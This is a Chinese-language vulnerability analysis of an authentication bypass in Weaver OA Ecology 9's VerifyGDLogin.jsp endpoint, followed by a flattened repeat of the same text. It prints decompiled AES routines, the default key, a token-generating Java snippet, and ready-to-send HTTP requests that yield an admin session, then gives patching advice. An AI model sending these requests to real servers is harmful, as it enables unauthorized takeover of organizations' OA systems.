某OA EC9 VerifyGDLogin任意用户登录分析
字数 1383 2025-08-24 07:48:10

泛微OA EC9 VerifyGDLogin任意用户登录漏洞分析

漏洞概述

泛微OA Ecology系统(版本9.0及10.58.3之前)的login/VerifyGDLogin.jsp接口存在一个任意用户登录漏洞,攻击者可以通过构造特定的请求参数绕过身份验证,获取系统管理员权限。

漏洞发现背景

该漏洞是在跟踪泛微补丁包Ecology_security_20230725_v9.0_v10.58.3时发现的,补丁中的SecurityRuleGdLogin0317疑似修复了一个SQL注入漏洞,但实际分析后发现是一处任意用户登录漏洞。

漏洞分析

关键文件

漏洞存在于login/VerifyGDLogin.jsp文件中,该文件处理逻辑如下:

  1. 从URI中获取parapara1para2三个参数
  2. 调用PoppupRemindInfoUtil.decryptpara2进行解密
  3. 通过weaver.login.VerifyGDLogin#getUserCheck方法进行登录校验

解密过程分析

PoppupRemindInfoUtil.decrypt方法的解密流程:

  1. 首先检查WEB-INF/prop/AESpassword.properties中的pwd项:
    • 如果不为空,则赋值给var1
    • 如果为空,则给var1赋值为1
  2. 使用SM4IntegrationUtil.USE_SM4方法判断是否启用了国密SM4加密算法:
    • 如果启用,则使用SM4解密
    • 否则调用AES.decrypt进行解密(默认情况下SM4未启用)

AES加密/解密实现

AES解密方法实现如下:

public static String decryptAES_SunJCE(String var0, String var1) {
    byte[] var2 = null;
    try {
        KeyGenerator var3 = KeyGenerator.getInstance("AES");
        SecureRandom var4 = SecureRandom.getInstance("SHA1PRNG");
        var4.setSeed(var1.getBytes());
        var3.init(128, var4);
        SecretKey var5 = var3.generateKey();
        byte[] var6 = var5.getEncoded();
        SecretKeySpec var7 = new SecretKeySpec(var6, "AES");
        Cipher var8 = Cipher.getInstance("AES", "SunJCE");
        byte[] var9 = Tools.parseHexStr2Byte(var0);
        var8.init(2, var7);
        var2 = var8.doFinal(var9);
    } catch (Exception var10) {
        var10.printStackTrace();
    }
    return var2 == null ? "" : new String(var2);
}

对应的AES加密方法:

public static String encryptAES_SunJCE(String var0, String var1) {
    byte[] var2 = null;
    try {
        KeyGenerator var3 = KeyGenerator.getInstance("AES");
        SecureRandom var4 = SecureRandom.getInstance("SHA1PRNG");
        var4.setSeed(var1.getBytes());
        var3.init(128, var4);
        SecretKey var5 = var3.generateKey();
        byte[] var6 = var5.getEncoded();
        SecretKeySpec var7 = new SecretKeySpec(var6, "AES");
        Cipher var8 = Cipher.getInstance("AES", "SunJCE");
        byte[] var9 = var0.getBytes();
        var8.init(1, var7);
        var2 = var8.doFinal(var9);
    } catch (NoSuchProviderException var10) {
        var10.printStackTrace();
    } catch (NoSuchAlgorithmException var11) {
        var11.printStackTrace();
    } catch (NoSuchPaddingException var12) {
        var12.printStackTrace();
    } catch (InvalidKeyException var13) {
        var13.printStackTrace();
    } catch (IllegalBlockSizeException var14) {
        var14.printStackTrace();
    } catch (BadPaddingException var15) {
        var15.printStackTrace();
    }
    return var2 == null ? "" : Tools.parseByte2HexStr(var2);
}

默认加密密钥

分析发现默认加密密钥为4DUa6Wq9(当AESpassword.properties中的pwd为空时,会使用1作为密钥)。

漏洞利用

构造加密数据

使用以下Java代码可以生成加密数据:

package test;
import com.pluginweaver.utils.CryptTool;

public class testAesCrypt {
    public static void main(String[] args) {
        // 默认密钥为"4DUa6Wq9"
        // 当AESpassword.properties中的pwd为空时,使用"1"作为密钥
        String cryptStr = "1";
        String enStr = CryptTool.encryptAES_SunJCE(cryptStr, "4DUa6Wq9");
        System.out.println(enStr);
    }
}

攻击步骤

  1. 发送POST请求到/login/VerifyGDLogin.jsp,携带以下参数:
    • para=ViewRequest.jsp
    • para1=123
    • para2=E4D160ED60A81E804F24EE2AE592D66F(这是使用默认密钥加密的"1")

示例请求:

POST /login/VerifyGDLogin.jsp HTTP/1.1
Host: 192.168.232.129
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 69

para=ViewRequest.jsp&para1=123&para2=E4D160ED60A81E804F24EE2AE592D66F
  1. 从响应中获取ecology_JSessionid cookie

  2. 使用获取到的cookie访问需要鉴权的接口,例如:

GET /api/hrm/login/getAccountList?__random__=1700633695101 HTTP/1.1
Host: 192.168.232.129
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Accept: */*
Referer: http://192.168.232.129/wui/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: ecology_JSessionid=aaaOhmJeYzN2NbvHFv1Vy;
Connection: close

修复建议

  1. 升级到泛微OA Ecology的安全补丁版本Ecology_security_20230725_v9.0_v10.58.3或更高版本
  2. 如果无法立即升级,可以临时禁用login/VerifyGDLogin.jsp接口的访问
  3. 修改WEB-INF/prop/AESpassword.properties中的pwd项,设置一个强密码
  4. 启用SM4加密算法(设置SM4IntegrationUtil.USE_SM4为true)

总结

该漏洞源于泛微OA Ecology系统中VerifyGDLogin.jsp接口的身份验证逻辑缺陷,结合默认加密密钥的使用,导致攻击者可以构造特定请求绕过身份验证,获取系统管理员权限。企业应及时应用安全补丁,并检查系统是否存在此漏洞。

泛微OA EC9 VerifyGDLogin任意用户登录漏洞分析 漏洞概述 泛微OA Ecology系统(版本9.0及10.58.3之前)的 login/VerifyGDLogin.jsp 接口存在一个任意用户登录漏洞,攻击者可以通过构造特定的请求参数绕过身份验证,获取系统管理员权限。 漏洞发现背景 该漏洞是在跟踪泛微补丁包 Ecology_security_20230725_v9.0_v10.58.3 时发现的,补丁中的 SecurityRuleGdLogin0317 疑似修复了一个SQL注入漏洞,但实际分析后发现是一处任意用户登录漏洞。 漏洞分析 关键文件 漏洞存在于 login/VerifyGDLogin.jsp 文件中,该文件处理逻辑如下: 从URI中获取 para 、 para1 、 para2 三个参数 调用 PoppupRemindInfoUtil.decrypt 对 para2 进行解密 通过 weaver.login.VerifyGDLogin#getUserCheck 方法进行登录校验 解密过程分析 PoppupRemindInfoUtil.decrypt 方法的解密流程: 首先检查 WEB-INF/prop/AESpassword.properties 中的 pwd 项: 如果不为空,则赋值给 var1 如果为空,则给 var1 赋值为 1 使用 SM4IntegrationUtil.USE_SM4 方法判断是否启用了国密SM4加密算法: 如果启用,则使用SM4解密 否则调用 AES.decrypt 进行解密(默认情况下SM4未启用) AES加密/解密实现 AES解密方法实现如下: 对应的AES加密方法: 默认加密密钥 分析发现默认加密密钥为 4DUa6Wq9 (当 AESpassword.properties 中的 pwd 为空时,会使用 1 作为密钥)。 漏洞利用 构造加密数据 使用以下Java代码可以生成加密数据: 攻击步骤 发送POST请求到 /login/VerifyGDLogin.jsp ,携带以下参数: para=ViewRequest.jsp para1=123 para2=E4D160ED60A81E804F24EE2AE592D66F (这是使用默认密钥加密的"1") 示例请求: 从响应中获取 ecology_JSessionid cookie 使用获取到的cookie访问需要鉴权的接口,例如: 修复建议 升级到泛微OA Ecology的安全补丁版本 Ecology_security_20230725_v9.0_v10.58.3 或更高版本 如果无法立即升级,可以临时禁用 login/VerifyGDLogin.jsp 接口的访问 修改 WEB-INF/prop/AESpassword.properties 中的 pwd 项,设置一个强密码 启用SM4加密算法(设置 SM4IntegrationUtil.USE_SM4 为true) 总结 该漏洞源于泛微OA Ecology系统中 VerifyGDLogin.jsp 接口的身份验证逻辑缺陷,结合默认加密密钥的使用,导致攻击者可以构造特定请求绕过身份验证,获取系统管理员权限。企业应及时应用安全补丁,并检查系统是否存在此漏洞。